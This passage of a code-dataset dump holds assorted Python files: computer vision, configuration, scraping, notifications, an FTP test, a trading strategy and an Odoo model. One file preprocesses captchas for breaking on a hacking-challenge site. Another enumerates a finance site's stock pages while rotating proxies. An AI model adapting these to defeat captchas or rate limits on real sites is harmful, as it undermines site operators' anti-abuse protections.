np.load('../datas/centrifuges/color/empty-1.npy')\n # empty_img = cv2.imread('../datas/centrifuges/color/color_1603162977.0726545.jpg')\n\n # simple_tube_img = cv2.imread('../')\n\n thermos_for_tubes = Centrifuge(color=tubes_img, depth=depth)\n thermos_for_holes = Centrifuge(color=empty_img, depth=depth)\n\n # thres_holes, rect_points, rect_center_points, real_points = thermos_for_holes.find_holes(nums=4, )\n print('\\n------------------------------------------------\\n')\n thres_holes, rect_points, rect_center_points, real_points = thermos_for_tubes.find_tubes(nums=4, )\n print(real_points)\n\n # get a coordinates transform\n coordinates_transformer = Realsense_Calibrator()\n\n tubes_detected_img_pos = real_points\n tubes_mean_height = 236.8475970086949\n tvecs = coordinates_transformer.t_mtx\n tubes_detected_cal_pos = []\n for img_pos in tubes_detected_img_pos:\n temps = coordinates_transformer.coor_transform(img_point=img_pos, zConst_s=tvecs[2] - tubes_mean_height)\n tubes_detected_cal_pos.append(temps.ravel().tolist()[0])\n tubes_detected_cal_pos = np.array(tubes_detected_cal_pos)\n print('\\n------------------------------------------------\\n')\n print(tubes_detected_cal_pos)\n\n print('\\n------------------------------------------------\\n')\n res = process_once(color=tubes_img,\n depth=depth,\n task_name='tubes',\n _nums=4)\n print('\\n------------------------------------------------\\n')\n print(res)\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"Roserland/Auto-S","sub_path":"subsystems/class-centri.py","file_name":"class-centri.py","file_ext":"py","file_size_in_byte":22053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20081583307","text":"import os\n# import os.path\nimport cv2\nimport glob\nimport imutils\n\n\nCAPTCHA_IMAGE_FOLDER = \"captcha\"\nOUTPUT_FOLDER = \"/tmp/extracted_letter_images\"\n\n\n# Get a list of all the captcha images we need to process\ncaptcha_image_files = glob.glob(os.path.join(CAPTCHA_IMAGE_FOLDER, \"*.png\"))\ncounts = {}\n\n# loop over the image paths\nfor (i, captcha_image_file) in enumerate(captcha_image_files):\n print(\"[INFO] processing image {}/{}\".format(i + 1, len(captcha_image_files)))\n\n # Since the filename contains the captcha text (i.e. \"2A2X.png\" has the text \"2A2X\"),\n # grab the base filename as the text\n filename = os.path.basename(captcha_image_file)\n if filename.startwith('tmp'):\n # 忽略图片文件名以‘tmp'开头的文件\n continue;\n captcha_correct_text = os.path.splitext(filename)[0] # 文件名长度 40\n\n # Load the image and convert it to grayscale\n image = cv2.imread(captcha_image_file)\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)","repo_name":"pchaos/others","sub_path":"hack/hackthis.co.uk/levels/captcha/1_extract_single_letters_from_captchas.py","file_name":"1_extract_single_letters_from_captchas.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"3750902569","text":"# In order to work, this module must be executed in an environment with the environment variables referenced set.\n# use source env in this directory.\n# If you dont have any env files, ask for one they are not in VCS\nimport json\nimport logging\nimport os\nimport sys\n\nNATS_CONFIG = {\n \"servers\": [os.environ[\"NATS_SERVER1\"]],\n \"subscriber\": {\"pending_limits\": 65536},\n \"multiplier\": 5,\n \"min\": 5,\n \"stop_delay\": 300,\n \"reconnects\": 150,\n}\n\nCURRENT_ENVIRONMENT = os.environ[\"CURRENT_ENVIRONMENT\"]\nENVIRONMENT_NAME = os.environ[\"ENVIRONMENT_NAME\"]\n\nTIMEZONE = os.environ[\"TIMEZONE\"]\n\nFRAUD_CONFIG = {\n \"monitoring_interval\": int(os.environ[\"MONITORING_JOB_INTERVAL\"]) // 60,\n \"inbox_email\": os.environ[\"OBSERVED_INBOX_EMAIL_ADDRESS\"],\n \"sender_emails_list\": json.loads(os.environ[\"OBSERVED_INBOX_SENDERS\"]),\n \"default_contact\": json.loads(os.environ[\"DEFAULT_CONTACT_FOR_NEW_TICKETS\"]),\n \"default_client_info\": json.loads(os.environ[\"DEFAULT_CLIENT_INFO_FOR_DID_WITHOUT_INVENTORY\"]),\n \"alerts_lookup_days\": int(os.environ[\"ALERTS_LOOKUP_DAYS\"]),\n}\n\nLOG_CONFIG = {\n \"name\": \"fraud-monitor\",\n \"level\": logging.DEBUG,\n \"stream_handler\": logging.StreamHandler(sys.stdout),\n \"format\": f\"%(asctime)s: {ENVIRONMENT_NAME}: %(hostname)s: %(module)s::%(lineno)d %(levelname)s: %(message)s\",\n \"papertrail\": {\n \"active\": os.environ[\"PAPERTRAIL_ACTIVE\"] == \"true\",\n \"prefix\": os.getenv(\"PAPERTRAIL_PREFIX\", f\"{ENVIRONMENT_NAME}-fraud-monitor\"),\n \"host\": os.environ[\"PAPERTRAIL_HOST\"],\n \"port\": int(os.environ[\"PAPERTRAIL_PORT\"]),\n },\n}\n\nQUART_CONFIG = {\"title\": \"fraud-monitor\", \"port\": 5000}\n\nREDIS = {\"host\": os.environ[\"REDIS_HOSTNAME\"]}\n\nMETRICS_SERVER_CONFIG = {\"port\": 9090}\n","repo_name":"Bruin-Dev/Intelygenz","sub_path":"services/fraud-monitor/src/config/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"69934421959","text":"import json\r\nimport logging\r\nimport requests\r\n\r\n\r\nclass Retile():\r\n headers = {\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36\",\r\n }\r\n urlFormat = \"http://stockpage.10jqka.com.cn/\"\r\n dataPools = []\r\n proxiesIps = [\r\n \"\",\r\n \"223.96.90.216:8085\",\r\n ]\r\n proxies = {\r\n \"http\":\"\",\r\n }\r\n def __init__(self):\r\n self.session = requests.Session()\r\n def __call__(self, saveFilename):\r\n self.getData()\r\n self.saveData(saveFilename)\r\n \r\n def saveData(self, saveFilename):\r\n \"\"\"\r\n # 保存经过检查的公司代号\r\n \"\"\"\r\n with open(f\"./data/{saveFilename}\", mode=\"w\", encoding=\"utf-8\") as f:\r\n json.dump(self.dataPools, f)\r\n\r\n def Geturl(self, code):\r\n return f\"{self.urlFormat}{code}/\"\r\n def check_status(self, code):\r\n \"\"\"\r\n ## 检查公司代号是否存在\r\n \"\"\"\r\n response = self.session.get(self.Geturl(code), headers=self.headers, allow_redirects=False, proxies=self.proxies )\r\n status_code = response.status_code\r\n if status_code != 200:\r\n print(f\"{code} => err code : {status_code}\")\r\n else:\r\n print(f\"{code} => ok\")\r\n return status_code == 200\r\n def changeConfig(self, index):\r\n self.proxies[\"http\"] = self.proxiesIps[index % 2]\r\n def singleWork(self, idx):\r\n currentCode = str(idx).zfill(6)\r\n flag = self.check_status(currentCode)\r\n if flag:\r\n self.dataPools.append(currentCode)\r\n self.changeConfig(idx)\r\n def getData(self):\r\n for i in range(999999):\r\n self.singleWork(i)\r\n\r\ndef Retile_test():\r\n r = Retile()\r\n r(\"result.json\")\r\n\r\nif __name__ == '__main__':\r\n Retile_test()\r\n\r\n\r\n","repo_name":"yuyuyu258963/sp-manager","sub_path":"ret/Retile_campose_code.py","file_name":"Retile_campose_code.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1148698948","text":"import sys, os\n\nsys.path.append('./include/python')\nimport proteomatic\n\n\nclass DecoyFasta(proteomatic.ProteomaticScript):\n def run(self):\n if 'outputDatabase' in self.output.keys():\n print(\"Creating taget/decoy database... \\n\")\n databases = \" \".join([\"\\\"{0}\\\"\".format(x) for x in self.input['databases']])\n opts = {\n '--output': self.output['outputDatabase'],\n '--method': self.param['targetDecoyMethod'],\n '--decoyFormat': self.param['decoyEntryPrefix'],\n '--targetFormat': self.param['targetEntryPrefix'], \n '--keepStart': self.param['targetDecoyKeepStart'],\n '--keepEnd': self.param['targetDecoyKeepEnd']\n }\n command = self.binaryPath('ptb.decoyfasta') + ' '\n for fl, fi in opts.items():\n command += fl + ' \"' + str(fi) + '\" '\n command += databases\n os.system(command)\n print(\"done...\")\n \nif __name__ == '__main__':\n script = DecoyFasta()\n","repo_name":"specht/proteomatic-scripts","sub_path":"decoyfasta_py.defunct.py","file_name":"decoyfasta_py.defunct.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"62"} +{"seq_id":"30589191371","text":"import requests\nfrom datetime import datetime\nimport time\nfrom twilio.rest import Client\nfrom dotenv import load_dotenv\nimport os\nfrom geopy.geocoders import Nominatim\nfrom geopy.distance import geodesic\n\n\nload_dotenv()\n# info for text message service twilio\naccount_sid = os.getenv('ACCOUNT_SID')\nauth_token = os.getenv('AUTH_TOKEN')\ntwilio_number = os.getenv('TWILIO_NUMBER')\nmy_number = os.getenv('MY_NUMBER')\nclient = Client(account_sid, auth_token)\n\n# info for distance\ngeocoder = Nominatim(user_agent='Appointment_API')\n\n# vax_site_coords should be in a tuple with signed (latitude, longitude)\n\n\ndef calculate_site_distance_from_user(vax_site_coords):\n home = (44.9956, -93.2581)\n distance = geodesic(home, vax_site_coords).miles\n return distance\n\n# json data is swapped, so run it through this before using calculate_site_distance_from_user function\n\n\ndef coordinate_swap(backwards_coordinates):\n forwards_coordinates = (backwards_coordinates[1], backwards_coordinates[0])\n return forwards_coordinates\n\n\n# download and parse data from API\ndef pull_API():\n # current_time = datetime.now().isoformat()[10:19]\n # print(f'Pulling API {current_time}')\n req = requests.get('https://www.vaccinespotter.org/api/v0/states/MN.json')\n json_data = req.json()['features']\n cleaned_data = []\n acceptable_distance_from_user = 25\n for data in json_data:\n site_properties = data['properties']\n site_geometry = data['geometry']\n if site_properties['postal_code'] is None:\n continue\n cleaned_city = site_properties['city'].lower()\n vax_site_distance = calculate_site_distance_from_user(\n coordinate_swap(site_geometry['coordinates']))\n if vax_site_distance:\n if vax_site_distance <= acceptable_distance_from_user:\n cleaned_data.append(\n {\n 'provider_name': site_properties['provider_brand_name'].lower(),\n 'site_name': site_properties['name'].lower(),\n 'address': f'{site_properties[\"address\"].lower()}, '\n f'{cleaned_city}, MN,'\n f' {site_properties[\"postal_code\"]}',\n 'site_distance': vax_site_distance,\n 'provider_location_id': site_properties['provider_location_id'],\n 'url': site_properties['url'],\n 'appointments': site_properties['appointments']\n }\n )\n # now look for which sites have availabilty\n available_appointments = {}\n for site in cleaned_data:\n if site['appointments']:\n if site['provider_name'] not in available_appointments:\n available_appointments[site['provider_name']] = {\n 'available_apts': len(site['appointments']), 'website': site['url']}\n else:\n available_appointments[site['provider_name']\n ]['available_apts'] += len(site['appointments'])\n return available_appointments\n\n\n# infinite loop with a ten min cooldown\nold_available_appointments = pull_API()\nwhile True:\n dt = datetime.now()\n curr_seconds = dt.second\n if (curr_seconds % 60 == 0):\n available_appointments = pull_API()\n if available_appointments and (not old_available_appointments == available_appointments):\n print(old_available_appointments)\n print(available_appointments)\n message = client.messages.create(\n to=my_number,\n from_=twilio_number,\n body=\"Get that appointment! https://www.vaccinespotter.org/MN/?zip=55413&radius=25\")\n time.sleep(600)\n old_available_appointments = available_appointments\n time.sleep(1)\n","repo_name":"theArgo15/Appointment_API","sub_path":"Appointment_API.py","file_name":"Appointment_API.py","file_ext":"py","file_size_in_byte":3860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22231990734","text":"import re\n\n\ndef write_to_file(data_set):\n with open('result.txt', 'w') as file:\n for item in data_set:\n print(item, file=file)\n\n\nwith open('iran.txt', 'r') as input_file:\n pattern = r'([A-Z]+[a-z]*)[\\,\\:\\-\\. \\[\\{\\n]'\n string = input_file.read()\n result = re.findall(pattern, string)\n result = set(result)\n\n write_to_file(result)\n","repo_name":"mejomba/maktabsharif_HW","sub_path":"Mojtaba_Aminzadeh_hw3_maktab89/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35116929983","text":"from ftplib import FTP\n\nftp_ativo: bool = False\nftp = FTP('ftp.ibge.gov.br')\nprint(ftp.getwelcome())\n\nusuario: str = input(\"Digite seu usuario: \")\nsenha: str = input(\"Digite sua senha: \")\nftp.login(usuario, senha)\n\nprint(f\"Diretorio atual de trabalho: {ftp.pwd()}\")\nftp.cwd('Pib_Municipios')\n\nprint(f\"Diretorio atual de trabalho: {ftp.pwd()}\")\nprint(ftp.retrlines('LIST'))\nftp.quit()","repo_name":"LuizMPelizaro/FIAP_ON_Python","sub_path":"Captulo_7/FTP/Testes_FTP.py","file_name":"Testes_FTP.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7832106571","text":"# encoding: UTF-8\n\n\"\"\"\n基于King Keltner通道的交易策略,适合用在股指上,\n展示了OCO委托和5分钟K线聚合的方法。\n\n注意事项:\n1. 作者不对交易盈利做任何保证,策略代码仅供参考\n2. 本策略需要用到talib,没有安装的用户请先参考www.vnpy.org上的教程安装\n3. 将IF0000_1min.csv用ctaHistoryData.py导入MongoDB后,直接运行本文件即可回测策略\n\"\"\"\n\nfrom __future__ import division\n\nimport os\nimport sys\n\nfile_path = os.path.abspath(__file__)\nfolder_path = os.path.dirname(file_path)\nctastrategy_path = os.path.dirname(folder_path)\nroot_path = os.path.dirname(ctastrategy_path)\nsys.path.append(ctastrategy_path)\n\nfrom ctaBase import *\nfrom ctaTemplate import CtaTemplate\n\n\n########################################################################\nclass kkstrategy_rb_1(CtaTemplate):\n \"\"\"基于King Keltner通道的交易策略\"\"\"\n className = 'kkstrategy_rb_1'\n author = 'sola'\n # 策略变量\n bar = None # 1分钟K线对象\n barMinute = EMPTY_STRING # K线当前的分钟点\n\n buyOrderID = None\n shortOrderID = None\n sellOrderID = None\n coverOrderID = None\n orderList = [] # 保存委托代码的列表\n\n upperLimit = 999999 # 涨停价\n lowerLimit = 0 # 跌停价\n\n # 参数列表,保存了参数的名称\n paramList = ['name',\n 'className',\n 'author',\n 'vtSymbol']\n\n # 变量列表,保存了变量的名称\n varList = ['inited',\n 'trading',\n 'long_pos',\n 'short_pos']\n\n # ----------------------------------------------------------------------\n def __init__(self, ctaEngine, setting):\n \"\"\"Constructor\"\"\"\n super(kkstrategy_rb_1, self).__init__(ctaEngine, setting)\n\n self.ctaEngine = ctaEngine\n\n # ----------------------------------------------------------------------\n def onInit(self):\n \"\"\"初始化策略(必须由用户继承实现)\"\"\"\n self.writeCtaLog(u'%s策略初始化' % self.name)\n\n # 载入历史数据,并采用回放计算的方式初始化策略数值\n initData = self.loadBar()\n long_pos = self.long_pos\n short_pos = self.short_pos\n for bar in initData:\n if bar.datetime <= self.long_pos_open_datetime:\n self.long_pos = 0\n else:\n self.long_pos = long_pos\n if bar.datetime <= self.short_pos_open_datetime:\n self.short_pos = 0\n else:\n self.short_pos = short_pos\n self.onBar(bar)\n\n self.putEvent()\n\n # ----------------------------------------------------------------------\n def onStart(self):\n \"\"\"启动策略(必须由用户继承实现)\"\"\"\n self.writeCtaLog(u'%s策略启动' % self.name)\n self.putEvent()\n\n # ----------------------------------------------------------------------\n def onStop(self):\n \"\"\"停止策略(必须由用户继承实现)\"\"\"\n self.writeCtaLog(u'%s策略停止' % self.name)\n self.putEvent()\n\n # ----------------------------------------------------------------------\n def onTick(self, tick):\n \"\"\"收到行情TICK推送(必须由用户继承实现)\"\"\"\n # 聚合为1分钟K线\n tickMinute = tick.datetime.minute\n\n if tickMinute != self.barMinute:\n if self.bar:\n self.onBar(self.bar)\n self.upperLimit = min(self.upperLimit, tick.upperLimit)\n self.lowerLimit = max(self.lowerLimit, tick.lowerLimit)\n bar = CtaBarData()\n bar.vtSymbol = tick.vtSymbol\n bar.symbol = tick.symbol\n bar.exchange = tick.exchange\n\n bar.open = tick.lastPrice\n bar.high = tick.lastPrice\n bar.low = tick.lastPrice\n bar.close = tick.lastPrice\n\n bar.date = tick.date\n bar.time = tick.time\n bar.datetime = tick.datetime # K线的时间设为第一个Tick的时间\n\n self.bar = bar # 这种写法为了减少一层访问,加快速度\n self.barMinute = tickMinute # 更新当前的分钟\n\n else: # 否则继续累加新的K线\n bar = self.bar # 写法同样为了加快速度\n\n bar.high = max(bar.high, tick.lastPrice)\n bar.low = min(bar.low, tick.lastPrice)\n bar.close = tick.lastPrice\n\n # ----------------------------------------------------------------------\n def onBar(self, bar):\n \"\"\"收到Bar推送(必须由用户继承实现)\"\"\"\n # 撤销之前发出的尚未成交的委托(包括限价单和停止单)\n for orderID in self.orderList:\n self.cancelOrder(orderID)\n self.orderList = []\n \n # 当前无仓位\n if self.long_pos == 0 and self.short_pos == 0:\n self.buyOrderID = self.buy(self.upperLimit, 1, False)\n elif self.long_pos != 0 and self.short_pos == 0:\n self.shortOrderID = self.short(self.lowerLimit, 1, False)\n elif self.long_pos != 0 and self.short_pos != 0:\n self.sellOrderID = self.sell(self.lowerLimit, 1, False)\n elif self.long_pos == 0 and self.short_pos != 0:\n self.coverOrderID = self.cover(self.upperLimit, 1, False)\n \n self.orderList.append(self.buyOrderID)\n self.orderList.append(self.shortOrderID)\n # 发出状态更新事件\n self.putEvent()\n pass\n\n # ----------------------------------------------------------------------\n def onOrder(self, order):\n \"\"\"收到委托变化推送(必须由用户继承实现)\"\"\"\n # print(order.__dict__)\n\n # ----------------------------------------------------------------------\n def onTrade(self, trade):\n # 多头开仓成交后,撤消空头委托\n # print(trade.__dict__)\n\n if (trade.offset == \"开仓\") and (trade.direction == \"多\"):\n if self.buyOrderID in self.orderList:\n self.orderList.remove(self.buyOrderID)\n\n if (\"平\" in trade.offset) and (trade.direction == \"空\"):\n if self.sellOrderID in self.orderList:\n self.orderList.remove(self.sellOrderID)\n\n if (trade.offset == \"开仓\") and (trade.direction == \"空\"):\n if self.shortOrderID in self.orderList:\n self.orderList.remove(self.shortOrderID)\n\n if (\"平\" in trade.offset) and (trade.direction == \"多\"):\n if self.coverOrderID in self.orderList:\n self.orderList.remove(self.coverOrderID)\n\n self.updatePosition(self.className, trade)\n\n # 发出状态更新事件\n self.putEvent()\n\n\n# ----------------------------------------------------------------------------------------------------------------------\nif __name__ == '__main__':\n # 提供直接双击回测的功能\n # 导入PyQt4的包是为了保证matplotlib使用PyQt4而不是PySide,防止初始化出错\n from ctaBacktesting import *\n from PyQt4 import QtCore, QtGui\n\n # 创建回测引擎\n engine = BacktestingEngine()\n\n # 设置引擎的回测模式为K线\n engine.setBacktestingMode(engine.BAR_MODE)\n\n # 设置回测用的数据起始日期\n engine.setStartDate('20110101')\n symbol = 'rb0000'\n\n # 设置产品相关参数\n engine.setSlippage(2) # 股指1跳\n engine.setRate(1.2 / 10000) # 万0.3\n engine.setSize(10) # 股指合约大小\n engine.setPriceTick(1) # 股指最小价格变动\n\n # 设置使用的历史数据库\n engine.setDatabase(MINUTE_DB_NAME, symbol)\n\n # 在引擎中创建策略对象\n d = {}\n engine.initStrategy(kkstrategy_rb_1, d)\n\n # 开始跑回测\n engine.runBacktesting(symbol)\n\n # 显示回测结果\n engine.showBacktestingResult()\n","repo_name":"hong142101/CTPTrader","sub_path":"ctaStrategy/strategy/kkstrategy_rb_1.py","file_name":"kkstrategy_rb_1.py","file_ext":"py","file_size_in_byte":7889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27666482722","text":"import RPi.GPIO as GPIO\nimport time\n\nGPIO.setmode(GPIO.BCM)\n\nTRIGG=21\nECHO=15\nLEDP=19\n\nGPIO.setup(TRIGG, GPIO.OUT)\nGPIO.setup(ECHO, GPIO.IN)\nGPIO.setup(LEDP,GPIO.OUT)\n\nledPWM = GPIO.PWM(LEDP,100)\n\nledPWM.start(0)\n\ndef ultrasonic():\n GPIO.output(TRIGG,False)\n\n time.sleep(0.2)\n GPIO.output(TRIGG, True)\n\n time.sleep(0.0001)\n GPIO.output(TRIGG, False)\n\n StartTime = time.time()\n StopTime = time.time()\n\n while GPIO.input(ECHO) == 0:\n StartTime = time.time()\n \n while GPIO.input(ECHO) == 1:\n StopTime = time.time()\n\n DurationTime = StopTime-StartTime\n\n distance = (DurationTime*34300)/2\n\n print(distance)\n return distance\n\ndef PWM_led(dist):\n if(dist<20):\n ledPWM.ChangeDutyCycle(round(100-(dist*5)))\n print(\"duty cycle updated: \" + str(round(100-(dist*5))))\n else:\n ledPWM.ChangeDutyCycle(0)\n\ntry:\n while True:\n dista = ultrasonic()\n PWM_led(dista)\n time.sleep(0.1)\nexcept KeyboardInterrupt:\n ledPWM.stop()\n print(\"---operation ceased---\")\n GPIO.cleanup()\n","repo_name":"vishaluniv/SIT210_Task7.3D_RPiPWM","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13536582524","text":"def reverse_interval(input_list,start,end):\n left_pointer = start\n right_pointer = end-1\n while left_pointer < right_pointer:\n temp = input_list[left_pointer]\n input_list[left_pointer] = input_list[right_pointer]\n input_list[right_pointer] = temp\n \n left_pointer += 1\n right_pointer -= 1\n\ndef reverse_words(words):\n #cast to a mutable list\n word_list = list(words)\n reverse_interval(word_list,0,len(word_list))\n\n word_begin = 0\n word_end = -1\n\n for char in word_list:\n word_end += 1\n if char == ' ':\n reverse_interval(word_list,word_begin,word_end)\n word_begin = word_end+1\n\n reverse_interval(word_list,word_begin,word_end+1)\n\n return ''.join(word_list)\n\nprint(reverse_words('find you will pain only go you recordings security the into if'))\nprint(reverse_words(''))\nprint(reverse_words(' find you will pain only go you recordings security the into if '))\n","repo_name":"Badsauce/Interview-Cake","sub_path":"27.py","file_name":"27.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29905907629","text":"import numpy as np\nimport config\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Ellipse\nimport os\n\n\ndef plot_swarm(bots, current_state, desired_state, count, draw_lines=None):\n centroid = current_state[0]\n orientation = current_state[1]\n s1 = current_state[2]\n s2 = current_state[3]\n centroid_des = desired_state[0]\n orientation_des = desired_state[1]\n s1_des = desired_state[2]\n s2_des = desired_state[3]\n\n plot_dir = \"./plots\"\n ensemble_plot_dir = os.path.join(plot_dir, \"ensemble_plots\")\n\n if not os.path.exists(plot_dir):\n os.mkdir(plot_dir)\n if not os.path.exists(ensemble_plot_dir):\n os.mkdir(ensemble_plot_dir)\n # Plot Current and desired ellipses\n plt.figure()\n ax = plt.gca()\n ellipse1 = Ellipse(xy=(centroid[0], centroid[1]), width=config.CONC_ELLIPSE * s1, height=config.CONC_ELLIPSE * s2, angle=orientation * 180/np.pi, edgecolor='r', fill=False)\n ellipse2 = Ellipse(xy=(centroid_des[0], centroid_des[1]), width=config.CONC_ELLIPSE * s1_des, height=config.CONC_ELLIPSE * s2_des, angle=orientation_des * 180/np.pi, edgecolor='g', fill=False)\n ax.add_patch(ellipse1)\n ax.add_patch(ellipse2)\n plt.xlim((0, 20))\n plt.ylim((0, 20))\n\n for bot in bots:\n bot_pos = bot.q.T\n circle = plt.Circle((bot_pos[0], bot_pos[1]), (config.BOT_AXEL_LENGTH+config.BOT_RADIUS), color='b', fill=False)\n ax.add_patch(circle)\n\n x, y = bot_pos[0], bot_pos[1]\n length = (config.BOT_AXEL_LENGTH+config.BOT_RADIUS)\n orientation = bot.theta\n endy = y + length * np.sin(orientation)\n endx = x + length * np.cos(orientation)\n\n plt.plot([x, endx], [y, endy])\n\n if draw_lines is not None:\n plt.plot(draw_lines[0][0], draw_lines[1][0], color='r', markersize=3)\n plt.plot(draw_lines[0][1], draw_lines[1][1], color='r', markersize=3)\n\n file_path = os.path.join(ensemble_plot_dir, str(count) + \".png\")\n\n plt.savefig(file_path)\n\n\ndef plot_state_tilde(state_tld_pts, counter):\n\n state_tld_pts_x = [state_tld[0].item() for state_tld in state_tld_pts]\n state_tld_pts_y = [state_tld[1].item() for state_tld in state_tld_pts]\n state_tld_pts_theta = [state_tld[2].item() for state_tld in state_tld_pts]\n state_tld_pts_s1 = [state_tld[3].item() for state_tld in state_tld_pts]\n state_tld_pts_s2 = [state_tld[4].item() for state_tld in state_tld_pts]\n plt.figure()\n plt.plot(state_tld_pts_x, label='~x')\n plt.plot(state_tld_pts_y, label='~y')\n plt.plot(state_tld_pts_theta, label='~theta')\n plt.plot(state_tld_pts_s1, label='~s1')\n plt.plot(state_tld_pts_s2, label='~s2')\n plt.legend(loc='upper right')\n plt.savefig('plots/state_tilde_plot.png')\n\n\ndef plot_vel(vel_cap_pts, vel_star_pts, last_lin_vel, last_ang_vel):\n vel_star_all_x = []\n vel_star_all_y = []\n for i in range(len(vel_star_pts[0])):\n vel_star_all_x.append([])\n vel_star_all_y.append([])\n for i in range(len(vel_star_pts)):\n vel_all_bots = vel_star_pts[i]\n for j in range(len(vel_all_bots)):\n vel_star_all_x[j].append(vel_all_bots[j][0])\n vel_star_all_y[j].append(vel_all_bots[j][1])\n\n vel_cap_all_x = []\n vel_cap_all_y = []\n for i in range(len(vel_cap_pts[0])):\n vel_cap_all_x.append([])\n vel_cap_all_y.append([])\n for i in range(len(vel_cap_pts)):\n vel_all_bots = vel_cap_pts[i]\n for j in range(len(vel_all_bots)):\n vel_cap_all_x[j].append(vel_all_bots[j][0])\n vel_cap_all_y[j].append(vel_all_bots[j][1])\n\n plt.figure()\n\n # plt.xlim((0, 10))\n plt.ylim((-10, 10))\n for i in range(len(vel_star_all_x)):\n plt.plot(vel_star_all_x[i], '-')\n plt.plot(vel_cap_all_x[i], '--')\n plt.legend(loc='upper right')\n plt.savefig('plots/optimal_computed_velocity_x.png')\n\n plt.figure()\n\n # plt.xlim((0, 10))\n\n plt.ylim((-10, 10))\n for i in range(len(vel_star_all_y)):\n plt.plot(vel_star_all_y[i], '-')\n plt.plot(vel_cap_all_y[i], '--')\n plt.legend(loc='upper right')\n plt.savefig('plots/optimal_computed_velocity_y.png')\n\n plt.figure()\n # plt.legend(loc='upper right')\n # plt.xlim((0, 10))\n plt.ylim((-0.5, 0.5))\n plt.plot(last_lin_vel)\n plt.savefig('plots/linear_velocity.png')\n\n plt.figure()\n # plt.legend(loc='upper right')\n # plt.xlim((0, 10))\n plt.ylim((-2, 2))\n plt.plot(last_ang_vel)\n plt.savefig('plots/angular_velocity.png')","repo_name":"mjoshi07/Controlling-Shapes-of-Swarm-Robots","sub_path":"code/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":4492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43727671188","text":"# -*- coding: utf-8 -*-\nfrom datetime import timedelta\nfrom odoo import models, fields, api, exceptions\n\nclass Session(models.Model): \n\t_name = 'test.session'\n\t_description = \"Yoga Sessions\"\n\t\n\tname = fields.Char(required=True)\n\tstart_date = fields.Date(default=fields.Date.today)\n\tduration = fields.Float(digits=(6, 2), help=\"Duration in days\")\n\tseats = fields.Integer(string=\"Number of seats\")\n\tactive = fields.Boolean(\"Actif\", default=True)\n\tcolor=fields.Integer()\n\t\n\tinstructor_id = fields.Many2one('res.partner',\n\t\tstring=\"Instructor\", \n\t\tdomain=['|', ('instructor','=',True), \n\t\t\t\t\t('category_id.name','ilike',\"Teacher\")])\n\t\n\tcourse_id = fields.Many2one('test.course', \n\t\tondelete='cascade', \n\t\tstring=\"Course\", \n\t\trequired=True\n\t)\n\n\tattendee_ids = fields.Many2many('res.partner',\n\t\trelation ='res_partner_test_session_rel',\n\t\tstring=\"Attendees\",\n\t\tdomain=['!',('instructor','=',True)])\n\n\t#Computed fields\n\tfulliness = fields.Float(string=\"Pourcentage de remplitude\", compute='_howmanypeoplewillcome')\n\tend_date = fields.Date(string=\"Date de fin de la session\", store=True, compute='_get_end_date', inverse='_set_end_date')\n\tattendees_count = fields.Integer(string=\"Attendees count\", store=True, compute='_get_attendees_count')\n\t\n\t@api.depends('seats','attendee_ids')\n\tdef _howmanypeoplewillcome(self):\n\t\tfor item in self:\n\t\t\tif item.seats == 0:\n\t\t\t\titem.fulliness = 0.0\n\t\t\telse:\n\t\t\t\titem.fulliness = 100.0 * len(item.attendee_ids) / item.seats\n\t\n\t@api.depends('start_date','duration')\n\tdef _get_end_date(self):\n\t\tfor item in self:\n\t\t\tif not (item.start_date and item.duration):\n\t\t\t\titem.end_date = item.start_date\n\t\t\t\tcontinue\n\t\t\t# Add duration to start_date, but: Monday + 5 days = Saturday, so\n\t\t\t# subtract one second to get on Friday instead\n\t\t\tduration = timedelta(days=item.duration,seconds=0)\n\t\t\titem.end_date = item.start_date + duration\n\n\tdef _set_end_date(self):\n\t\tfor item in self:\n\t\t\tif not(item.start_date and item.end_date):\n\t\t\t\tcontinue\n\t\t\titem.duration =(item.end_date - item.start_date).days + 1 \n\n\t@api.onchange('seats', 'attendee_ids')\n\tdef _validateSeats(self):\n\t\tif self.seats < 0:\n\t\t\treturn {\n\t\t\t\t'warning':{\n\t\t\t\t\t'title': \"Nombre de chaises incorrect\",\n\t\t\t\t\t'message':\"Le nombre ne peut pas etre negatif\",\n\t\t\t\t},\n\t\t\t}\n\t\tif self.seats < len(self.attendee_ids):\n\t\t\treturn {\n\t\t\t\t'warning':{\n\t\t\t\t\t'title':\"Il y a beaucoup trop de monde!\",\n\t\t\t\t\t'message':\"Il faut virer du monde ou commander plus de chaise!\",\n\t\t\t\t},\n\t\t\t}\n\t@api.depends('attendee_ids')\n\tdef _get_attendees_count(self):\n\t\tfor r in 